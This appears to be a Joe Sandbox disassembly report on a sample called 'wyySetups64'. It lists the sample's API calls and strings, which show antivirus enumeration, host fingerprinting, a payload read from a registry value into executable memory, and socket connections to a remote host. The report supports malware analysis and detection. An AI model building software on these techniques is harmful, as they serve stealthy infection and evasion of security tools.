GetCurrentProcessId.KERNEL32(75BF73E0), ref: 03376A94
wsprintfW.USER32 ref: 03376AA7

Part of subcall function 03376910: GetCurrentProcessId.KERNEL32(7AA29978,00000000,00000000,75BF73E0,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376938
Part of subcall function 03376910: OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376947
Part of subcall function 03376910: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376960
Part of subcall function 03376910: CloseHandle.KERNEL32(00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 0337696B

_memset.LIBCMT ref: 03376AC2
GetVersionExW.KERNEL32(?), ref: 03376ADB
GetCurrentProcess.KERNEL32(00000008,?), ref: 03376B12
OpenProcessToken.ADVAPI32(00000000), ref: 03376B19
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 03376B3F
GetLastError.KERNEL32 ref: 03376B49
LocalAlloc.KERNEL32(00000040,?), ref: 03376B5D
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 03376B85
GetSidSubAuthorityCount.ADVAPI32 ref: 03376B98
GetSidSubAuthority.ADVAPI32(00000000), ref: 03376BA6
LocalFree.KERNEL32(?), ref: 03376BB5
CloseHandle.KERNEL32(?), ref: 03376BC2
wsprintfW.USER32 ref: 03376C1B

Strings

NO/, xrefs: 03376BDF
-N/, xrefs: 03376BEF
None/%s, xrefs: 03376BE7

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion_memset
String ID: -N/$NO/$None/%s
API String ID: 3036438616-3095023699
Opcode ID: eec921083c97e604e60da78d963d84881b64a2b78d6e87ad203822683959f92b
Instruction ID: f4308c7a58bac1cf100582827480b3126d8525014fbf8e3ebea90efbaa762fab
Opcode Fuzzy Hash: eec921083c97e604e60da78d963d84881b64a2b78d6e87ad203822683959f92b
Instruction Fuzzy Hash: 1C419270900618EFEB34EB61CCDAFEF777CEB0A700F044496E60596241DA39D994CBA1

Function 03376150 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 222
stringcomregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0337618B
lstrcatW.KERNEL32(033A1F10,0339510C,?,7AA29978,00000AD4,00000000,75BF73E0), ref: 033761CD
lstrcatW.KERNEL32(033A1F10,0339535C,?,7AA29978,00000AD4,00000000,75BF73E0), ref: 033761D9
CoCreateInstance.OLE32(03392480,00000000,00000017,0339578C,?,?,7AA29978,00000AD4,00000000,75BF73E0), ref: 03376220
_memset.LIBCMT ref: 033762CE
wsprintfW.USER32 ref: 03376336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0337635F
_memset.LIBCMT ref: 03376376

Part of subcall function 03376050: _memset.LIBCMT ref: 0337607C
Part of subcall function 03376050: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 03376088

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03376330
Windows Defender IOfficeAntiVirus implementation , xrefs: 03376186, 033761C8, 033761D4, 033763C9, 033763D5, 03376422, 03376436, 0337645A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _memset$Createlstrcat$InstanceOpenSnapshotToolhelp32wsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1221949200-1583895642
Opcode ID: cbdc17da158ecb54ec1ba241c04b5b2e5626efc011978ce306f672c73043b30c
Instruction ID: c3943828c418e65ae984b13a9fc4d17daed80f6baf1e6a7fa77496eeff8c26c1
Opcode Fuzzy Hash: cbdc17da158ecb54ec1ba241c04b5b2e5626efc011978ce306f672c73043b30c
Instruction Fuzzy Hash: 238193B1A00628AFDB20DB54CCD1FAEB7BCEB48704F0445C9F719A7142D6749A80CFA4

Function 033780F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03378132
lstrcmpiW.KERNEL32(?,A:\), ref: 03378166
lstrcmpiW.KERNEL32(?,B:\), ref: 03378176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 033781A6
lstrlenW.KERNEL32(?), ref: 033781B7
__wcsnicmp.LIBCMT ref: 033781CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 03378204
lstrcpyW.KERNEL32(?,?), ref: 03378228
lstrcatW.KERNEL32(?,00000000), ref: 03378233

Strings

A:\, xrefs: 03378160
B:\, xrefs: 03378170

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStrings__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 950920757-1009255891
Opcode ID: 56e870a62bc75e3c3bffcc7566d389ea83f6997fb5aa722157fc4169faf94687
Instruction ID: 7994aa9697f73134791786a673509c8a10e69644f749f92f6748e141388fc56b
Opcode Fuzzy Hash: 56e870a62bc75e3c3bffcc7566d389ea83f6997fb5aa722157fc4169faf94687
Instruction Fuzzy Hash: 7841A671A0121CEBDB20EF64DDC5AAEB37CEF44700F04449AE909E7240E775DA05CBA4

Function 03376790 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03375320: InterlockedDecrement.KERNEL32(00000008), ref: 0337536F
Part of subcall function 03375320: SysFreeString.OLEAUT32(00000000), ref: 03375384
Part of subcall function 03375320: SysAllocString.OLEAUT32(03395148), ref: 033753D5

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,03395148,033769A4,03395148,00000000,75BF73E0), ref: 033767F4
GetLastError.KERNEL32 ref: 033767FE
GetProcessHeap.KERNEL32(00000008,?), ref: 03376816
HeapAlloc.KERNEL32(00000000), ref: 0337681D
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,?,?), ref: 0337683F
LookupAccountSidW.ADVAPI32(00000000,?,?,00000100,?,00000100,?), ref: 03376871
GetLastError.KERNEL32 ref: 0337687B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 033768E6
HeapFree.KERNEL32(00000000), ref: 033768ED

Strings

NONE_MAPPED, xrefs: 03376888

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountDecrementInterlockedLookup
String ID: NONE_MAPPED
API String ID: 1317816589-2950899194
Opcode ID: fe95139c768f786c5a2d1a427d72fac9480dad684a23cc657aa4bfa391819df3
Instruction ID: b9043cbf7f2a79d9d39badd23b55ac966fdd12089c1eab3a0c4a8133f7ec3a6f
Opcode Fuzzy Hash: fe95139c768f786c5a2d1a427d72fac9480dad684a23cc657aa4bfa391819df3
Instruction Fuzzy Hash: 3D4194B5900618FFEB20DB64DCC5FAF737CEB85701F004499E609EA140DA799A858B60

Function 03376C50 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,74DEDF80,00000000,75BF73E0), ref: 03376C8B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 03376CAA
_memset.LIBCMT ref: 03376CE1
GlobalMemoryStatusEx.KERNEL32(?), ref: 03376CF4
swprintf.LIBCMT ref: 03376D39
swprintf.LIBCMT ref: 03376D4C

Strings

HDD:%d, xrefs: 03376D2E
@, xrefs: 03376CED
%sFree%d Gb , xrefs: 03376D41
:, xrefs: 03376C80

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: swprintf$DiskDriveFreeGlobalMemorySpaceStatusType_memset
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3202570353-3501811827
Opcode ID: c48b5201d3f1596db91b92c1f57558e1ea8971c9432f9cd54706e3c5d4fa06ae
Instruction ID: 0b0e25c7aea189dc99b0f0cb39a907232d1c984abd65a427cfb86ab36df92e46
Opcode Fuzzy Hash: c48b5201d3f1596db91b92c1f57558e1ea8971c9432f9cd54706e3c5d4fa06ae
Instruction Fuzzy Hash: CB316FB6E0020CABDB14DFE5CC85FEEB7B9FB48700F50421EE91AAB241E6745945CB90

Function 03376EE0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI(0339579C,?,7AA29978,74DEDF80,00000000,75BF73E0), ref: 03376F4A
swprintf.LIBCMT ref: 0337711E
std::_Xinvalid_argument.LIBCPMT ref: 033771C7

Strings

%s%s %d %d , xrefs: 03377113
vector<T> too long, xrefs: 033771C2
%s%s %d*%d , xrefs: 03377337

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateFactoryXinvalid_argumentstd::_swprintf
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 3803070356-257307503
Opcode ID: 8b5155474e2d83885070a010ebeaa2809e18b3cf8d45c2b808eeea1ed4c6b10d
Instruction ID: 1bfcd48134716939767426eb19d6697989451bbe970b10ec9de09aade7e6ed92
Opcode Fuzzy Hash: 8b5155474e2d83885070a010ebeaa2809e18b3cf8d45c2b808eeea1ed4c6b10d
Instruction Fuzzy Hash: E1E15271E012259FDF34CE64CCD1BEEB3B5AB89700F1446E9D91AA7284D774AE818F90

Function 00BD54C0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,00020019,?), ref: 00BD5507
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 00BD552E
_memset.LIBCMT ref: 00BD5548
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 00BD5563
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 00BD5586
RegCloseKey.ADVAPI32(?), ref: 00BD55B1
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BD5605
_memset.LIBCMT ref: 00BD5669
_memset.LIBCMT ref: 00BD568D
_memset.LIBCMT ref: 00BD569F
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 00BD5726
RegCreateKeyW.ADVAPI32(80000001,Console\0,?), ref: 00BD5799
RegDeleteValueW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4), ref: 00BD57AC
RegSetValueExW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000065), ref: 00BD57C4
RegCloseKey.KERNEL32(?), ref: 00BD57CE
Sleep.KERNEL32(00000BB8), ref: 00BD57FE

Strings

l, xrefs: 00BD5644
., xrefs: 00BD563A
!jWW, xrefs: 00BD5630
i, xrefs: 00BD5658
_, xrefs: 00BD564E
e, xrefs: 00BD54DC
{vU_, xrefs: 00BD5626
9e9e85e05ee16fc372a0c7df6549fbd4, xrefs: 00BD5528, 00BD555D, 00BD57A6, 00BD57BE
0d3b34577c0a66584d5bdc849e214016, xrefs: 00BD55BA
Console\0, xrefs: 00BD54F3, 00BD578F

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Value_memset$Virtual$AllocCloseQuery$CreateDeleteFreeOpenSleep
String ID: !jWW$.$0d3b34577c0a66584d5bdc849e214016$9e9e85e05ee16fc372a0c7df6549fbd4$Console\0$_$e$i$l${vU_
API String ID: 354323817-737951744
Opcode ID: cc639b8b0d133302520048f41b754afbb3adfb0eab03a821a5567828521cec4a
Instruction ID: 32295588429ae71fde3bc20fcf24458fd67139f7f60ef7e2f4254d52b6c94f47
Opcode Fuzzy Hash: cc639b8b0d133302520048f41b754afbb3adfb0eab03a821a5567828521cec4a
Instruction Fuzzy Hash: 4591D275A40744ABD720DF60DC85FABBBF9EB84700F50459AFA099B341EBB19E40CB61

Function 03379E50 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 314
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImagePixelFormat.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03379E7B
GdipGetImageHeight.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03379EFC
GdipGetImageWidth.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03379F24
GdipGetImagePaletteSize.GDIPLUS(Function_00009A30,?,?,00000000), ref: 03379F7F
_malloc.LIBCMT ref: 03379FC0

Part of subcall function 0337F673: __FF_MSGBANNER.LIBCMT ref: 0337F68C
Part of subcall function 0337F673: __NMSG_WRITE.LIBCMT ref: 0337F693
Part of subcall function 0337F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F6B8

_free.LIBCMT ref: 0337A000
GdipGetImagePalette.GDIPLUS(?,00000008,?,?,00000000), ref: 0337A028
SetDIBColorTable.GDI32(?,00000000,?,?,?,00000000), ref: 0337A0B7
GdipBitmapLockBits.GDIPLUS(Function_00009A30,?,00000001,?,?,?,00000000), ref: 0337A112
_free.LIBCMT ref: 0337A134
_memcpy_s.LIBCMT ref: 0337A183
GdipBitmapUnlockBits.GDIPLUS(?,?,?,00000000), ref: 0337A1D0
GdipCreateBitmapFromScan0.GDIPLUS(?,?,03395A78,00022009,?,00000000,?,00000000), ref: 0337A22C
GdipGetImageGraphicsContext.GDIPLUS(00000000,00022009,?,00000000), ref: 0337A24C
GdipDrawImageI.GDIPLUS(00000000,Function_00009A30,00000000,00000000,?,00000000), ref: 0337A267
GdipDeleteGraphics.GDIPLUS(?,?,00000000), ref: 0337A274
GdipDisposeImage.GDIPLUS(00000000,?,00000000), ref: 0337A27B
_free.LIBCMT ref: 0337A296

Strings

&, xrefs: 03379EE1

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Gdip$Image$Bitmap_free$BitsGraphicsPalette$AllocateColorContextCreateDeleteDisposeDrawFormatFromHeapHeightLockPixelScan0SizeTableUnlockWidth_malloc_memcpy_s
String ID: &
API String ID: 640422297-3042966939
Opcode ID: e51b7b8979e9a5b836ed7937017df88989408d1c14832a13742ebb4c62638970
Instruction ID: 2016e1d32bec30615098088940da99ec0c12cd725e0fd7ff6413465a6e79aa21
Opcode Fuzzy Hash: e51b7b8979e9a5b836ed7937017df88989408d1c14832a13742ebb4c62638970
Instruction Fuzzy Hash: E6D131B1A006199BDB34DF55CCC0B9AB7B8FF48304F0486A9E609A7301D778AA85CF65

Function 00BD2D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 00BD2D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 00BD2DA7
timeGetTime.WINMM ref: 00BD2DAD
socket.WS2_32(00000002,00000001,00000006), ref: 00BD2DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00BD2E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 00BD2E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 00BD2E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 00BD2E3D
gethostbyname.WS2_32(00000000), ref: 00BD2E4B
htons.WS2_32(?), ref: 00BD2E6D
connect.WS2_32(?,?,00000010), ref: 00BD2E8B

Strings

0u, xrefs: 00BD2EFC

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: c132cf21c56fc4ccd93a38b2377639fe123b2a695574fd7ceadfdc7dc5683821
Instruction ID: 8a71a5ec6a93ab2a584129ae0a323335c163ad063cebe778673fe1d755b3c2d1
Opcode Fuzzy Hash: c132cf21c56fc4ccd93a38b2377639fe123b2a695574fd7ceadfdc7dc5683821
Instruction Fuzzy Hash: 966152B1A40744AFE720DFA4DC85FAAB7F8FF48714F10451AF645AB2D0DBB0A9048B65

Function 03372DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 03372DBB
InterlockedExchange.KERNEL32(?,00000000), ref: 03372DC7
timeGetTime.WINMM ref: 03372DCD
socket.WS2_32(00000002,00000001,00000006), ref: 03372DFA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 03372E26
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03372E32
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 03372E51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03372E5D
gethostbyname.WS2_32(00000000), ref: 03372E6B
htons.WS2_32(?), ref: 03372E8D
connect.WS2_32(?,?,00000010), ref: 03372EAB

Strings

0u, xrefs: 03372F1C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: f66fa9e27839b0cbb8349b12178a57748b5f384c99f62f2646e925efe9a5938e
Instruction ID: ef57d01e2b25428a484f8eb96bf51097348a70bc5bb64f672e6554890a6a8ecb
Opcode Fuzzy Hash: f66fa9e27839b0cbb8349b12178a57748b5f384c99f62f2646e925efe9a5938e
Instruction Fuzzy Hash: DF615071A40708BFD720EFA4DC85FABB7B8FF48B10F10451AF655EB290D6B5A9048B64

Function 0337AD10 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 346
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Console,00000000,00020019,?), ref: 0337AD53
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0337AD73

Strings

IpDatespecial, xrefs: 0337AD6D
Console, xrefs: 0337AD39
Console\0, xrefs: 0337B0DC
%s_bin, xrefs: 0337AE33

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: OpenQueryValue
String ID: %s_bin$Console$Console\0$IpDatespecial
API String ID: 4153817207-1338088003
Opcode ID: 0598fbb99e90309cd2e78769d11e9a0c3faee93000c33be40081d201dc3d3563
Instruction ID: e9481c149d907f95ed02dcaf7ef89d6fe00c5471ab2e6c780ad15c2897143404
Opcode Fuzzy Hash: 0598fbb99e90309cd2e78769d11e9a0c3faee93000c33be40081d201dc3d3563
Instruction Fuzzy Hash: F8C1C2B5A00300ABE720EF24DCC5F6BB3A9BF94714F080569F9459B381E779E915C7A2

Function 03375F40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 88
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,2024.12. 3), ref: 03375F66
GetLastError.KERNEL32 ref: 03375F6E
Sleep.KERNEL32(000003E8), ref: 03375F85
CreateMutexW.KERNEL32(00000000,00000000,2024.12. 3), ref: 03375F90
GetLastError.KERNEL32 ref: 03375F92
_memset.LIBCMT ref: 03375FB9
lstrlenW.KERNEL32(?), ref: 03375FC6
lstrcmpW.KERNEL32(?,03395328), ref: 03375FED
Sleep.KERNEL32(000003E8), ref: 03375FF8
GetModuleHandleW.KERNEL32(00000000), ref: 03376005
GetConsoleWindow.KERNEL32 ref: 0337600F

Strings

2024.12. 3, xrefs: 03375F5D, 03375F87
open, xrefs: 03375FCD
key, xrefs: 03375FD2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateErrorLastMutexSleep$ConsoleHandleModuleWindow_memsetlstrcmplstrlen
String ID: 2024.12. 3$key$open
API String ID: 2922109467-4129338558
Opcode ID: 15a6c3dfe4fcb556d3a50f78a050bf1ee95c17ecfc1279cfb0e1f56b929fa4e8
Instruction ID: 7de1df75de4bc3a01dd37dc83a3497be902fd4b1baeafc8615d1eb7f9d8741a3
Opcode Fuzzy Hash: 15a6c3dfe4fcb556d3a50f78a050bf1ee95c17ecfc1279cfb0e1f56b929fa4e8
Instruction Fuzzy Hash: E821F672904709EFE624FB60ECC6B5B739C9B84705F14081AE604DB1C1DB79E509CBA3

Function 033762B6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 125
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 033762CE
wsprintfW.USER32 ref: 03376336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0337635F
_memset.LIBCMT ref: 03376376
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 033763B2
lstrcatW.KERNEL32(033A1F10,?), ref: 033763CE
lstrcatW.KERNEL32(033A1F10,0339535C), ref: 033763DA
RegCloseKey.ADVAPI32(00000000), ref: 033763E3
lstrlenW.KERNEL32(033A1F10,?,7AA29978,00000AD4,00000000,75BF73E0), ref: 03376427
lstrcatW.KERNEL32(033A1F10,033953D4,?,7AA29978,00000AD4,00000000,75BF73E0), ref: 0337643B

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03376330
Windows Defender IOfficeAntiVirus implementation , xrefs: 033763C9, 033763D5, 03376422, 03376436, 0337645A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: lstrcat$_memset$CloseOpenQueryValuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1671694837-1583895642
Opcode ID: e6d940a2b072719d9ecb960cede27ec80e7d494532724b42ee02d4f9537d85d5
Instruction ID: 1aa67f67ede612b713ee5cac5a2adcc9e0c03d691f36a762003262493953658f
Opcode Fuzzy Hash: e6d940a2b072719d9ecb960cede27ec80e7d494532724b42ee02d4f9537d85d5
Instruction Fuzzy Hash: 3C4184F1A40668AFDB34DB54CC91FEEB7B8AB48705F0442C9F309A7182D6759A80CF64

Function 03377490 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 99
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ntdll.dll,75BF73E0,?,?,?,03375611,0000035E,000002FA), ref: 0337749C
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 033774B2
swprintf.LIBCMT ref: 033774EF

Part of subcall function 03377410: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03377523), ref: 0337743D
Part of subcall function 03377410: GetProcAddress.KERNEL32(00000000), ref: 03377444
Part of subcall function 03377410: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03377523), ref: 03377452

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,000002FA), ref: 03377547
RegQueryValueExW.KERNEL32(000002FA,ProductName,00000000,00000001,00000000,?), ref: 03377563
RegCloseKey.KERNEL32(000002FA), ref: 03377586
FreeLibrary.KERNEL32(00000000,?,?,?,03375611,0000035E,000002FA), ref: 03377598

Strings

RtlGetNtVersionNumbers, xrefs: 033774AC
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0337753D
ProductName, xrefs: 0337755D
ntdll.dll, xrefs: 03377497
%d.%d.%d, xrefs: 033774E7

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValueswprintf
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 2158625971-3190923360
Opcode ID: f3c2e8577a981eaf7c4b0c20984a435a68fa3bc06729bd8a609c9f63802d9667
Instruction ID: de6feac0fbf6caadf2f3cd16d4a38c2a2c0734163a87abff1275fa6fada4bc91
Opcode Fuzzy Hash: f3c2e8577a981eaf7c4b0c20984a435a68fa3bc06729bd8a609c9f63802d9667
